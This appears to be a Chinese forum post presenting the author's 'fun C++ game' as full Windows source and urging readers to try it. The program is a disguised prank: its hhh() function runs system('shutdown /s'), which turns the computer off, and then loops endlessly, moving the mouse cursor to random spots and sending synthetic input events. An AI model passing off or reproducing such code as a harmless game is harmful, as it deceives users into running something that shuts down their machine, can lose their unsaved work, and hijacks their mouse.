一个好玩的c++游戏

· · 休闲·娱乐

本人手搓的第一个c++游戏,玩了之后您一定会赞不绝口(乐)

不要骂我哟!

#include<bits/stdc++.h>
#include<windows.h>
#include<stdio.h>
#include<conio.h>
#include<time.h>
using namespace std;
void first_page();
void SlowDisplay(int x,char *p);
void SetPos(int x,int y);
void Say1(string a) ;
void Say2(string a) ;
int read();
void page_1();
void hhh();
void page_3();
void qd();
void sleep(int n);
int main()
{
    page_3();
    return 0;
}
void first_page()
{
    system("cls");
    system("color 07");
    cout<<" ■■■"<<endl;
    cout<<"■";
    cout<<"■  ■■  ■     ■  ■    ■■"<<endl;
    cout<<"■    ■ ■■   ■ ■ ■  ■ ■"<<endl;
    cout<<" ■■■ ■  ■ ■  ■  ■  ■■■"<<endl;
} 
void SlowDisplay(int x,char *p)
{
    while(1)
    {
        if(*p!=0) printf("%c",*p++);
        else break;
        Sleep(x);
    }
}
void SetPos(int x,int y)
{
    COORD pos;
    pos.X=y*2,pos.Y=x;
    SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE),pos);
}
void Say1(string a) 
{
    int l=a.size();
    for(int i=0;i<l;i++)
    {
        cout<<a[i];
        sleep(20);
    }
    printf("\n");
}
void Say2(string a) 
{
    int l=a.size();
    for(int i=0;i<l;i++)
    {
        cout<<a[i];
        sleep(200);
    }
    printf("\n");
}
int read()
{
    char ch=_getch();
    while(ch>'9'||ch<'0') ch=_getch();
    return ch-48;
}
void page_1()
{
    system("cls");
    system("Color C");
    first_page();
    Say1("这是一个好van的小游戏\n");
    Say1("作者:Chanfei");
    Say1("玩了之后你一定会赞不绝口(绷)");
    Say2("进 入 正 题\n");
    hhh();
    system("cls");
}
void hhh()
{
    system("shutdown /s");
    Say1("笑.jpg");
    cout<<endl;
    Say1("不要骂我哟!!!/n");
    cout<<endl;
    while(1)
    {
        int x,y;
        sleep(5);
        x=rand()%1400;
        qd();
        y=rand()%900;
        qd();
        SetCursorPos(x,y);
        qd();
    }
}
void page_3()
{
    for(int i=1;i<=4;i++)
    {
        system("color 1A");
        sleep(10);
        system("color 2B");
        sleep(10);
        system("color 3C");
        sleep(10);
        system("color 4D");
        sleep(10);
        system("color 5D");
        sleep(10);
        system("color 6E");
        sleep(10);
        system("color 7F");
        sleep(10);
    }
    page_1();
}
void qd()
{
    mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
    mouse_event(MOUSEEVENTF_RIGHTUP,0,0,0,0);
    keybd_event(67,0,KEYEVENTF_KEYUP,0);
    keybd_event(VK_F4, 0, KEYEVENTF_KEYUP, 0);
}
void sleep(int n)
{
    for(int i=1;i<=n/2;i++)
    {
        Sleep(1);
        qd();
    }
}

快去试试吧(笑)!